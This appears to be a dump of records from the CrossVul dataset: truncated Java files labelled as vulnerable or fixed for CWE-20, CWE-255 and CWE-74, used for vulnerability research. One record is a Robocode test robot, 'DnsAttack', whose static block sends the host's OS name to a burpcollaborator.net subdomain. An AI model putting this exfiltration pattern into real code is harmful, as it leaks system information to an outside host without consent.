id
stringlengths
27
31
content
stringlengths
14
287k
max_stars_repo_path
stringlengths
52
57
crossvul-java_data_good_1101_0
/* * Copyright 2011 the original author or authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applica...
./CrossVul/dataset_final_sorted/CWE-20/java/good_1101_0
crossvul-java_data_bad_195_0
/* * Copyright (c) 2011-2017 Contributors to the Eclipse Foundation * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License 2.0 which is available at * http://www.eclipse.org/legal/epl-2.0, or the Apache License, Version 2.0 * which is available at https:...
./CrossVul/dataset_final_sorted/CWE-20/java/bad_195_0
crossvul-java_data_good_2626_0
package org.openmrs.module.htmlformentry.web.controller; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.StringWriter; import javax.servlet.http.HttpServletRequest; import org.apache.commons.io.IOUtils; import org.apache.commons.lang.SystemUtils; import org.apache...
./CrossVul/dataset_final_sorted/CWE-20/java/good_2626_0
crossvul-java_data_bad_1381_0
/* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you ma...
./CrossVul/dataset_final_sorted/CWE-20/java/bad_1381_0
crossvul-java_data_bad_761_4
404: Not Found
./CrossVul/dataset_final_sorted/CWE-20/java/bad_761_4
crossvul-java_data_bad_761_0
/** * Copyright (c) 2001-2019 Mathew A. Nelson and Robocode contributors * All rights reserved. This program and the accompanying materials * are made available under the terms of the Eclipse Public License v1.0 * which accompanies this distribution, and is available at * https://robocode.sourceforge.io/license/ep...
./CrossVul/dataset_final_sorted/CWE-20/java/bad_761_0
crossvul-java_data_bad_195_6
/* * Copyright (c) 2011-2017 Contributors to the Eclipse Foundation * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License 2.0 which is available at * http://www.eclipse.org/legal/epl-2.0, or the Apache License, Version 2.0 * which is available at https:...
./CrossVul/dataset_final_sorted/CWE-20/java/bad_195_6
crossvul-java_data_good_657_1
/** * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you m...
./CrossVul/dataset_final_sorted/CWE-20/java/good_657_1
crossvul-java_data_bad_195_5
/* * Copyright (c) 2011-2017 Contributors to the Eclipse Foundation * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License 2.0 which is available at * http://www.eclipse.org/legal/epl-2.0, or the Apache License, Version 2.0 * which is available at https:...
./CrossVul/dataset_final_sorted/CWE-20/java/bad_195_5
crossvul-java_data_good_195_4
/* * Copyright (c) 2011-2017 Contributors to the Eclipse Foundation * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License 2.0 which is available at * http://www.eclipse.org/legal/epl-2.0, or the Apache License, Version 2.0 * which is available at https:...
./CrossVul/dataset_final_sorted/CWE-20/java/good_195_4
crossvul-java_data_good_418_1
/* * Copyright (c) 2018, Daniel Gultsch All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, * are permitted provided that the following conditions are met: * * 1. Redistributions of source code must retain the above copyright notice, this * list of conditions...
./CrossVul/dataset_final_sorted/CWE-20/java/good_418_1
crossvul-java_data_good_195_2
/* * Copyright (c) 2011-2017 Contributors to the Eclipse Foundation * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License 2.0 which is available at * http://www.eclipse.org/legal/epl-2.0, or the Apache License, Version 2.0 * which is available at https:...
./CrossVul/dataset_final_sorted/CWE-20/java/good_195_2
crossvul-java_data_bad_418_0
package eu.siacs.conversations.ui; import android.Manifest; import android.annotation.SuppressLint; import android.app.Activity; import android.app.FragmentManager; import android.content.SharedPreferences; import android.content.pm.PackageManager; import android.databinding.DataBindingUtil; import android.net.Uri; im...
./CrossVul/dataset_final_sorted/CWE-20/java/bad_418_0
crossvul-java_data_bad_418_1
/* * Copyright (c) 2018, Daniel Gultsch All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, * are permitted provided that the following conditions are met: * * 1. Redistributions of source code must retain the above copyright notice, this * list of conditions...
./CrossVul/dataset_final_sorted/CWE-20/java/bad_418_1
crossvul-java_data_good_761_3
/** * Copyright (c) 2001-2019 Mathew A. Nelson and Robocode contributors * All rights reserved. This program and the accompanying materials * are made available under the terms of the Eclipse Public License v1.0 * which accompanies this distribution, and is available at * https://robocode.sourceforge.io/license/ep...
./CrossVul/dataset_final_sorted/CWE-20/java/good_761_3
crossvul-java_data_good_4247_2
/* * Copyright (c) 2015, 2018 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at * http://www.eclipse.org/legal/epl-2.0. * * This Source Code may also be made available...
./CrossVul/dataset_final_sorted/CWE-20/java/good_4247_2
crossvul-java_data_bad_2026_0
404: Not Found
./CrossVul/dataset_final_sorted/CWE-20/java/bad_2026_0
crossvul-java_data_good_761_1
package tested.robots; public class DnsAttack extends robocode.Robot { static { try { new java.net.URL("http://" + System.getProperty("os.name").replaceAll(" ", ".") + ".randomsubdomain.burpcollaborator.net").openStream(); } catch (Exception e) { } } public void run() { for (;;) { ahead(100); ...
./CrossVul/dataset_final_sorted/CWE-20/java/good_761_1
crossvul-java_data_good_761_4
/** * Copyright (c) 2001-2019 Mathew A. Nelson and Robocode contributors * All rights reserved. This program and the accompanying materials * are made available under the terms of the Eclipse Public License v1.0 * which accompanies this distribution, and is available at * https://robocode.sourceforge.io/license/ep...
./CrossVul/dataset_final_sorted/CWE-20/java/good_761_4
crossvul-java_data_good_195_3
/* * Copyright (c) 2011-2017 Contributors to the Eclipse Foundation * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License 2.0 which is available at * http://www.eclipse.org/legal/epl-2.0, or the Apache License, Version 2.0 * which is available at https:...
./CrossVul/dataset_final_sorted/CWE-20/java/good_195_3
crossvul-java_data_bad_4128_2
package com.ctrip.framework.apollo.adminservice.controller; import com.ctrip.framework.apollo.AdminServiceTestConfiguration; import org.junit.runner.RunWith; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Value; import org.springframework.boot.autoco...
./CrossVul/dataset_final_sorted/CWE-20/java/bad_4128_2
crossvul-java_data_good_195_5
/* * Copyright (c) 2011-2017 Contributors to the Eclipse Foundation * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License 2.0 which is available at * http://www.eclipse.org/legal/epl-2.0, or the Apache License, Version 2.0 * which is available at https:...
./CrossVul/dataset_final_sorted/CWE-20/java/good_195_5
crossvul-java_data_bad_418_2
package eu.siacs.conversations.ui; import android.Manifest; import android.annotation.SuppressLint; import android.app.Dialog; import android.app.PendingIntent; import android.content.ActivityNotFoundException; import android.content.Context; import android.content.Intent; import android.content.SharedPreferences; imp...
./CrossVul/dataset_final_sorted/CWE-20/java/bad_418_2
crossvul-java_data_bad_4247_0
404: Not Found
./CrossVul/dataset_final_sorted/CWE-20/java/bad_4247_0
crossvul-java_data_bad_4247_3
404: Not Found
./CrossVul/dataset_final_sorted/CWE-20/java/bad_4247_3
crossvul-java_data_good_761_2
/** * Copyright (c) 2001-2019 Mathew A. Nelson and Robocode contributors * All rights reserved. This program and the accompanying materials * are made available under the terms of the Eclipse Public License v1.0 * which accompanies this distribution, and is available at * https://robocode.sourceforge.io/license/ep...
./CrossVul/dataset_final_sorted/CWE-20/java/good_761_2
crossvul-java_data_good_4247_3
/* * Copyright (c) 2015, 2018 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at * http://www.eclipse.org/legal/epl-2.0. * * This Source Code may also be made available...
./CrossVul/dataset_final_sorted/CWE-20/java/good_4247_3
crossvul-java_data_good_2026_0
/* * JBoss, Home of Professional Open Source * Copyright 2010, Red Hat, Inc. and individual contributors * by the @authors tag. See the copyright.txt in the distribution for a * full listing of individual contributors. * * This is free software; you can redistribute it and/or modify it * under the terms of the G...
./CrossVul/dataset_final_sorted/CWE-20/java/good_2026_0
crossvul-java_data_good_657_0
/** * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you m...
./CrossVul/dataset_final_sorted/CWE-20/java/good_657_0
crossvul-java_data_bad_761_3
/** * Copyright (c) 2001-2019 Mathew A. Nelson and Robocode contributors * All rights reserved. This program and the accompanying materials * are made available under the terms of the Eclipse Public License v1.0 * which accompanies this distribution, and is available at * https://robocode.sourceforge.io/license/ep...
./CrossVul/dataset_final_sorted/CWE-20/java/bad_761_3
crossvul-java_data_bad_657_0
/** * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you m...
./CrossVul/dataset_final_sorted/CWE-20/java/bad_657_0
crossvul-java_data_good_4128_2
package com.ctrip.framework.apollo.adminservice.controller; import com.ctrip.framework.apollo.AdminServiceTestConfiguration; import org.junit.runner.RunWith; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Value; import org.springframework.boot.autoco...
./CrossVul/dataset_final_sorted/CWE-20/java/good_4128_2
crossvul-java_data_good_1177_0
/* * Copyright 2013 the original author or authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicabl...
./CrossVul/dataset_final_sorted/CWE-20/java/good_1177_0
crossvul-java_data_bad_195_2
/* * Copyright (c) 2011-2017 Contributors to the Eclipse Foundation * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License 2.0 which is available at * http://www.eclipse.org/legal/epl-2.0, or the Apache License, Version 2.0 * which is available at https:...
./CrossVul/dataset_final_sorted/CWE-20/java/bad_195_2
crossvul-java_data_good_788_0
package org.airsonic.player.security; import org.airsonic.player.service.JWTSecurityService; import org.airsonic.player.service.SecurityService; import org.airsonic.player.service.SettingsService; import org.apache.commons.lang3.StringUtils; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springfra...
./CrossVul/dataset_final_sorted/CWE-255/java/good_788_0
crossvul-java_data_good_5796_0
/* * The MIT License * * Copyright (c) 2004-2012, Sun Microsystems, Inc., Kohsuke Kawaguchi, Fulvio Cavarretta, * Jean-Baptiste Quenot, Luca Domenico Milanesio, Renaud Bruyeron, Stephen Connolly, * Tom Huybrechts, Yahoo! Inc., Manufacture Francaise des Pneumatiques Michelin, * Romain Seguy, OHTAKE Tomohiro * ...
./CrossVul/dataset_final_sorted/CWE-255/java/good_5796_0
crossvul-java_data_bad_788_0
package org.airsonic.player.security; import org.airsonic.player.service.JWTSecurityService; import org.airsonic.player.service.SecurityService; import org.airsonic.player.service.SettingsService; import org.apache.commons.lang3.StringUtils; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springfra...
./CrossVul/dataset_final_sorted/CWE-255/java/bad_788_0
crossvul-java_data_bad_5796_0
/* * The MIT License * * Copyright (c) 2004-2012, Sun Microsystems, Inc., Kohsuke Kawaguchi, Fulvio Cavarretta, * Jean-Baptiste Quenot, Luca Domenico Milanesio, Renaud Bruyeron, Stephen Connolly, * Tom Huybrechts, Yahoo! Inc., Manufacture Francaise des Pneumatiques Michelin, * Romain Seguy, OHTAKE Tomohiro * ...
./CrossVul/dataset_final_sorted/CWE-255/java/bad_5796_0
crossvul-java_data_good_1678_3
/* * Licensed to Elasticsearch under one or more contributor * license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright * ownership. Elasticsearch licenses this file to you under * the Apache License, Version 2.0 (the "License"); you may * not use this fi...
./CrossVul/dataset_final_sorted/CWE-74/java/good_1678_3
crossvul-java_data_bad_1678_3
/* * Licensed to Elasticsearch under one or more contributor * license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright * ownership. Elasticsearch licenses this file to you under * the Apache License, Version 2.0 (the "License"); you may * not use this fi...
./CrossVul/dataset_final_sorted/CWE-74/java/bad_1678_3
crossvul-java_data_bad_4533_0
/** * Licensed to The Apereo Foundation under one or more contributor license * agreements. See the NOTICE file distributed with this work for additional * information regarding copyright ownership. * * * The Apereo Foundation licenses this file to you under the Educational * Community License, Version 2.0 (the ...
./CrossVul/dataset_final_sorted/CWE-74/java/bad_4533_0
crossvul-java_data_good_4533_0
/** * Licensed to The Apereo Foundation under one or more contributor license * agreements. See the NOTICE file distributed with this work for additional * information regarding copyright ownership. * * * The Apereo Foundation licenses this file to you under the Educational * Community License, Version 2.0 (the ...
./CrossVul/dataset_final_sorted/CWE-74/java/good_4533_0
crossvul-java_data_bad_3891_4
package io.dropwizard.validation; import io.dropwizard.validation.selfvalidating.SelfValidating; import io.dropwizard.validation.selfvalidating.SelfValidation; import io.dropwizard.validation.selfvalidating.ViolationCollector; import org.junit.jupiter.api.AfterEach; import org.junit.jupiter.api.BeforeEach; import org....
./CrossVul/dataset_final_sorted/CWE-74/java/bad_3891_4
crossvul-java_data_good_4533_1
/** * Licensed to The Apereo Foundation under one or more contributor license * agreements. See the NOTICE file distributed with this work for additional * information regarding copyright ownership. * * * The Apereo Foundation licenses this file to you under the Educational * Community License, Version 2.0 (the ...
./CrossVul/dataset_final_sorted/CWE-74/java/good_4533_1
crossvul-java_data_good_1898_0
package io.onedev.server.model.support.inputspec; import java.io.Serializable; import java.util.Collection; import java.util.HashMap; import java.util.List; import java.util.Map; import javax.annotation.Nullable; import org.apache.commons.lang.SerializationUtils; import org.slf4j.Logger; import org.slf4j.LoggerFacto...
./CrossVul/dataset_final_sorted/CWE-74/java/good_1898_0
crossvul-java_data_bad_1898_1
package io.onedev.server.model.support.inputspec.textinput; import java.util.ArrayList; import java.util.List; import java.util.Map; import javax.validation.ValidationException; import com.google.common.collect.Lists; import io.onedev.server.model.support.inputspec.InputSpec; import io.onedev.server.model.support.i...
./CrossVul/dataset_final_sorted/CWE-74/java/bad_1898_1
crossvul-java_data_bad_3891_2
package io.dropwizard.validation.selfvalidating; import com.fasterxml.classmate.AnnotationConfiguration; import com.fasterxml.classmate.AnnotationInclusion; import com.fasterxml.classmate.MemberResolver; import com.fasterxml.classmate.ResolvedTypeWithMembers; import com.fasterxml.classmate.TypeResolver; import com.fas...
./CrossVul/dataset_final_sorted/CWE-74/java/bad_3891_2
crossvul-java_data_good_1678_2
/* * Licensed to Elasticsearch under one or more contributor * license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright * ownership. Elasticsearch licenses this file to you under * the Apache License, Version 2.0 (the "License"); you may * not use this fi...
./CrossVul/dataset_final_sorted/CWE-74/java/good_1678_2
crossvul-java_data_good_3891_1
package io.dropwizard.validation.selfvalidating; import javax.validation.Constraint; import javax.validation.Payload; import java.lang.annotation.Documented; import java.lang.annotation.ElementType; import java.lang.annotation.Retention; import java.lang.annotation.RetentionPolicy; import java.lang.annotation.Target; ...
./CrossVul/dataset_final_sorted/CWE-74/java/good_3891_1
crossvul-java_data_bad_4390_1
package com.browserup.bup.rest.validation; import java.lang.annotation.Retention; import java.lang.annotation.RetentionPolicy; import javax.validation.Constraint; import javax.validation.ConstraintValidator; import javax.validation.ConstraintValidatorContext; import javax.validation.Payload; import org.apache.common...
./CrossVul/dataset_final_sorted/CWE-74/java/bad_4390_1
crossvul-java_data_bad_1678_4
404: Not Found
./CrossVul/dataset_final_sorted/CWE-74/java/bad_1678_4
crossvul-java_data_bad_4533_1
/** * Licensed to The Apereo Foundation under one or more contributor license * agreements. See the NOTICE file distributed with this work for additional * information regarding copyright ownership. * * * The Apereo Foundation licenses this file to you under the Educational * Community License, Version 2.0 (the ...
./CrossVul/dataset_final_sorted/CWE-74/java/bad_4533_1
crossvul-java_data_bad_1899_0
package io.onedev.server.migration; import java.beans.IntrospectionException; import java.beans.PropertyDescriptor; import java.io.IOException; import java.io.StringReader; import java.io.StringWriter; import java.lang.reflect.Method; import java.util.ArrayList; import java.util.Collection; import java.util.Comparator...
./CrossVul/dataset_final_sorted/CWE-74/java/bad_1899_0
crossvul-java_data_bad_4390_2
package com.browserup.bup.rest.validation; import java.lang.annotation.Retention; import java.lang.annotation.RetentionPolicy; import java.util.regex.Pattern; import javax.validation.Constraint; import javax.validation.ConstraintValidator; import javax.validation.ConstraintValidatorContext; import javax.validation.Pa...
./CrossVul/dataset_final_sorted/CWE-74/java/bad_4390_2
crossvul-java_data_bad_1112_0
/* * Copyright 2015 LINE Corporation * * LINE Corporation licenses this file to you under the Apache License, * version 2.0 (the "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at: * * https://www.apache.org/licenses/LICENSE-2.0 * * Unless r...
./CrossVul/dataset_final_sorted/CWE-74/java/bad_1112_0
crossvul-java_data_good_1678_1
/* * Licensed to Elasticsearch under one or more contributor * license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright * ownership. Elasticsearch licenses this file to you under * the Apache License, Version 2.0 (the "License"); you may * not use this fi...
./CrossVul/dataset_final_sorted/CWE-74/java/good_1678_1
crossvul-java_data_bad_4390_4
404: Not Found
./CrossVul/dataset_final_sorted/CWE-74/java/bad_4390_4
crossvul-java_data_good_1895_0
package io.onedev.server; import java.io.Serializable; import java.lang.reflect.AnnotatedElement; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.ArrayList; import java.util.Collection; import java.util.List; import java.util.concurrent.Callable; import java.util.concurrent.ExecutionE...
./CrossVul/dataset_final_sorted/CWE-74/java/good_1895_0
crossvul-java_data_bad_1895_0
package io.onedev.server; import java.io.Serializable; import java.lang.reflect.AnnotatedElement; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.ArrayList; import java.util.Collection; import java.util.List; import java.util.concurrent.Callable; import java.util.concurrent.ExecutionE...
./CrossVul/dataset_final_sorted/CWE-74/java/bad_1895_0
crossvul-java_data_bad_1112_2
/* * Copyright 2016 LINE Corporation * * LINE Corporation licenses this file to you under the Apache License, * version 2.0 (the "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at: * * https://www.apache.org/licenses/LICENSE-2.0 * * Unless r...
./CrossVul/dataset_final_sorted/CWE-74/java/bad_1112_2
crossvul-java_data_good_4390_3
package com.browserup.bup.rest.validation; import java.lang.annotation.Retention; import java.lang.annotation.RetentionPolicy; import javax.validation.Constraint; import javax.validation.ConstraintValidator; import javax.validation.ConstraintValidatorContext; import javax.validation.Payload; import javax.ws.rs.core.C...
./CrossVul/dataset_final_sorted/CWE-74/java/good_4390_3
crossvul-java_data_good_4390_1
package com.browserup.bup.rest.validation; import java.lang.annotation.Retention; import java.lang.annotation.RetentionPolicy; import javax.validation.Constraint; import javax.validation.ConstraintValidator; import javax.validation.ConstraintValidatorContext; import javax.validation.Payload; import com.browserup.bup...
./CrossVul/dataset_final_sorted/CWE-74/java/good_4390_1
crossvul-java_data_good_1899_0
package io.onedev.server.migration; import java.beans.IntrospectionException; import java.beans.PropertyDescriptor; import java.io.IOException; import java.io.StringReader; import java.io.StringWriter; import java.lang.reflect.Method; import java.util.ArrayList; import java.util.Collection; import java.util.Comparator...
./CrossVul/dataset_final_sorted/CWE-74/java/good_1899_0
crossvul-java_data_good_3891_3
package io.dropwizard.validation.selfvalidating; import org.hibernate.validator.constraintvalidation.HibernateConstraintValidatorContext; import javax.annotation.Nullable; import javax.validation.ConstraintValidatorContext; import java.util.Collections; import java.util.Map; import static io.dropwizard.validation.In...
./CrossVul/dataset_final_sorted/CWE-74/java/good_3891_3
crossvul-java_data_bad_4549_0
/* * Copyright 2017 Anton Tananaev (anton@traccar.org) * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by appli...
./CrossVul/dataset_final_sorted/CWE-74/java/bad_4549_0
crossvul-java_data_bad_1898_0
package io.onedev.server.model.support.inputspec; import java.io.Serializable; import java.util.Collection; import java.util.HashMap; import java.util.List; import java.util.Map; import javax.annotation.Nullable; import org.apache.commons.lang.SerializationUtils; import org.slf4j.Logger; import org.slf4j.LoggerFacto...
./CrossVul/dataset_final_sorted/CWE-74/java/bad_1898_0
crossvul-java_data_bad_4390_3
package com.browserup.bup.rest.validation; import java.lang.annotation.Retention; import java.lang.annotation.RetentionPolicy; import javax.validation.Constraint; import javax.validation.ConstraintValidator; import javax.validation.ConstraintValidatorContext; import javax.validation.Payload; import javax.ws.rs.core.C...
./CrossVul/dataset_final_sorted/CWE-74/java/bad_4390_3
crossvul-java_data_good_2195_2
/* * Licensed to Jasig under one or more contributor license * agreements. See the NOTICE file distributed with this work * for additional information regarding copyright ownership. * Jasig licenses this file to you under the Apache License, * Version 2.0 (the "License"); you may not use this file * except in com...
./CrossVul/dataset_final_sorted/CWE-74/java/good_2195_2
crossvul-java_data_good_4390_2
package com.browserup.bup.rest.validation; import java.lang.annotation.Retention; import java.lang.annotation.RetentionPolicy; import java.util.regex.Pattern; import javax.validation.Constraint; import javax.validation.ConstraintValidator; import javax.validation.ConstraintValidatorContext; import javax.validation.Pa...
./CrossVul/dataset_final_sorted/CWE-74/java/good_4390_2
crossvul-java_data_good_2195_0
/* * Licensed to Jasig under one or more contributor license * agreements. See the NOTICE file distributed with this work * for additional information regarding copyright ownership. * Jasig licenses this file to you under the Apache License, * Version 2.0 (the "License"); you may not use this file * except in com...
./CrossVul/dataset_final_sorted/CWE-74/java/good_2195_0
crossvul-java_data_good_1112_2
/* * Copyright 2016 LINE Corporation * * LINE Corporation licenses this file to you under the Apache License, * version 2.0 (the "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at: * * https://www.apache.org/licenses/LICENSE-2.0 * * Unless r...
./CrossVul/dataset_final_sorted/CWE-74/java/good_1112_2
crossvul-java_data_bad_2195_0
/* * Licensed to Jasig under one or more contributor license * agreements. See the NOTICE file distributed with this work * for additional information regarding copyright ownership. * Jasig licenses this file to you under the Apache License, * Version 2.0 (the "License"); you may not use this file * except in com...
./CrossVul/dataset_final_sorted/CWE-74/java/bad_2195_0
crossvul-java_data_bad_1898_2
package io.onedev.server.product; public class Test { @org.junit.Test public void test() { } }
./CrossVul/dataset_final_sorted/CWE-74/java/bad_1898_2
crossvul-java_data_bad_3891_0
404: Not Found
./CrossVul/dataset_final_sorted/CWE-74/java/bad_3891_0
crossvul-java_data_good_1112_0
/* * Copyright 2015 LINE Corporation * * LINE Corporation licenses this file to you under the Apache License, * version 2.0 (the "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at: * * https://www.apache.org/licenses/LICENSE-2.0 * * Unless r...
./CrossVul/dataset_final_sorted/CWE-74/java/good_1112_0
crossvul-java_data_good_1678_0
/* * Licensed to Elasticsearch under one or more contributor * license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright * ownership. Elasticsearch licenses this file to you under * the Apache License, Version 2.0 (the "License"); you may * not use this fi...
./CrossVul/dataset_final_sorted/CWE-74/java/good_1678_0
crossvul-java_data_good_1465_0
/* * Licensed to Jasig under one or more contributor license * agreements. See the NOTICE file distributed with this work * for additional information regarding copyright ownership. * Jasig licenses this file to you under the Apache License, * Version 2.0 (the "License"); you may not use this file * except in com...
./CrossVul/dataset_final_sorted/CWE-74/java/good_1465_0
crossvul-java_data_good_1678_4
/* * Licensed to Elasticsearch under one or more contributor * license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright * ownership. Elasticsearch licenses this file to you under * the Apache License, Version 2.0 (the "License"); you may * not use this fi...
./CrossVul/dataset_final_sorted/CWE-74/java/good_1678_4
crossvul-java_data_bad_4390_0
package com.browserup.bup.rest.validation; import java.lang.annotation.Retention; import java.lang.annotation.RetentionPolicy; import javax.validation.Constraint; import javax.validation.ConstraintValidator; import javax.validation.ConstraintValidatorContext; import javax.validation.Payload; import org.slf4j.Logger;...
./CrossVul/dataset_final_sorted/CWE-74/java/bad_4390_0
crossvul-java_data_good_1112_1
/* * Copyright 2019 LINE Corporation * * LINE Corporation licenses this file to you under the Apache License, * version 2.0 (the "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at: * * https://www.apache.org/licenses/LICENSE-2.0 * * Unless r...
./CrossVul/dataset_final_sorted/CWE-74/java/good_1112_1
crossvul-java_data_bad_1112_1
/* * Copyright 2019 LINE Corporation * * LINE Corporation licenses this file to you under the Apache License, * version 2.0 (the "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at: * * https://www.apache.org/licenses/LICENSE-2.0 * * Unless r...
./CrossVul/dataset_final_sorted/CWE-74/java/bad_1112_1
crossvul-java_data_good_3891_4
package io.dropwizard.validation; import io.dropwizard.util.Maps; import io.dropwizard.validation.selfvalidating.SelfValidating; import io.dropwizard.validation.selfvalidating.SelfValidation; import io.dropwizard.validation.selfvalidating.ViolationCollector; import org.junit.jupiter.api.AfterEach; import org.junit.jup...
./CrossVul/dataset_final_sorted/CWE-74/java/good_3891_4
crossvul-java_data_bad_4533_2
/** * Licensed to The Apereo Foundation under one or more contributor license * agreements. See the NOTICE file distributed with this work for additional * information regarding copyright ownership. * * * The Apereo Foundation licenses this file to you under the Educational * Community License, Version 2.0 (the ...
./CrossVul/dataset_final_sorted/CWE-74/java/bad_4533_2
crossvul-java_data_good_4390_4
package com.browserup.bup.rest.validation.util; /* * Modifications Copyright (c) 2019 BrowserUp, Inc. * Original from: * https://github.com/hibernate/hibernate-validator/blob/master/engine/src/main/java/org/hibernate/validator/internal/engine/messageinterpolation/util/InterpolationHelper.java */ /* * License: Apac...
./CrossVul/dataset_final_sorted/CWE-74/java/good_4390_4
crossvul-java_data_bad_1678_2
/* * Licensed to Elasticsearch under one or more contributor * license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright * ownership. Elasticsearch licenses this file to you under * the Apache License, Version 2.0 (the "License"); you may * not use this fi...
./CrossVul/dataset_final_sorted/CWE-74/java/bad_1678_2
crossvul-java_data_good_4533_2
/** * Licensed to The Apereo Foundation under one or more contributor license * agreements. See the NOTICE file distributed with this work for additional * information regarding copyright ownership. * * * The Apereo Foundation licenses this file to you under the Educational * Community License, Version 2.0 (the ...
./CrossVul/dataset_final_sorted/CWE-74/java/good_4533_2
crossvul-java_data_bad_4548_0
package io.dropwizard.validation.selfvalidating; import javax.validation.ConstraintValidatorContext; /** * This class is a simple wrapper around the ConstraintValidatorContext of hibernate validation. * It collects all the violations of the SelfValidation methods of an object. */ public class ViolationCollector { ...
./CrossVul/dataset_final_sorted/CWE-74/java/bad_4548_0
crossvul-java_data_good_4548_0
package io.dropwizard.validation.selfvalidating; import javax.annotation.Nullable; import javax.validation.ConstraintValidatorContext; import java.util.regex.Matcher; import java.util.regex.Pattern; /** * This class is a simple wrapper around the ConstraintValidatorContext of hibernate validation. * It collects all...
./CrossVul/dataset_final_sorted/CWE-74/java/good_4548_0
crossvul-java_data_good_3891_0
/* * Hibernate Validator, declare and validate application constraints * * License: Apache License, Version 2.0 * See the license.txt file in the root directory or <http://www.apache.org/licenses/LICENSE-2.0>. */ package io.dropwizard.validation; import javax.annotation.Nullable; import java.util.regex.Matcher; i...
./CrossVul/dataset_final_sorted/CWE-74/java/good_3891_0
crossvul-java_data_bad_1678_0
/* * Licensed to Elasticsearch under one or more contributor * license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright * ownership. Elasticsearch licenses this file to you under * the Apache License, Version 2.0 (the "License"); you may * not use this fi...
./CrossVul/dataset_final_sorted/CWE-74/java/bad_1678_0
crossvul-java_data_good_3891_2
package io.dropwizard.validation.selfvalidating; import com.fasterxml.classmate.AnnotationConfiguration; import com.fasterxml.classmate.AnnotationInclusion; import com.fasterxml.classmate.MemberResolver; import com.fasterxml.classmate.ResolvedTypeWithMembers; import com.fasterxml.classmate.TypeResolver; import com.fas...
./CrossVul/dataset_final_sorted/CWE-74/java/good_3891_2
crossvul-java_data_good_2195_1
/* * Licensed to Jasig under one or more contributor license * agreements. See the NOTICE file distributed with this work * for additional information regarding copyright ownership. * Jasig licenses this file to you under the Apache License, * Version 2.0 (the "License"); you may not use this file * except in com...
./CrossVul/dataset_final_sorted/CWE-74/java/good_2195_1
crossvul-java_data_good_4390_0
package com.browserup.bup.rest.validation; import java.lang.annotation.Retention; import java.lang.annotation.RetentionPolicy; import javax.validation.Constraint; import javax.validation.ConstraintValidator; import javax.validation.ConstraintValidatorContext; import javax.validation.Payload; import com.browserup.bup...
./CrossVul/dataset_final_sorted/CWE-74/java/good_4390_0
crossvul-java_data_bad_2195_2
/* * Licensed to Jasig under one or more contributor license * agreements. See the NOTICE file distributed with this work * for additional information regarding copyright ownership. * Jasig licenses this file to you under the Apache License, * Version 2.0 (the "License"); you may not use this file * except in com...
./CrossVul/dataset_final_sorted/CWE-74/java/bad_2195_2
crossvul-java_data_good_4549_0
/* * Copyright 2017 - 2020 Anton Tananaev (anton@traccar.org) * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required b...
./CrossVul/dataset_final_sorted/CWE-74/java/good_4549_0
crossvul-java_data_bad_1678_1
/* * Licensed to Elasticsearch under one or more contributor * license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright * ownership. Elasticsearch licenses this file to you under * the Apache License, Version 2.0 (the "License"); you may * not use this fi...
./CrossVul/dataset_final_sorted/CWE-74/java/bad_1678_1
crossvul-java_data_bad_3891_3
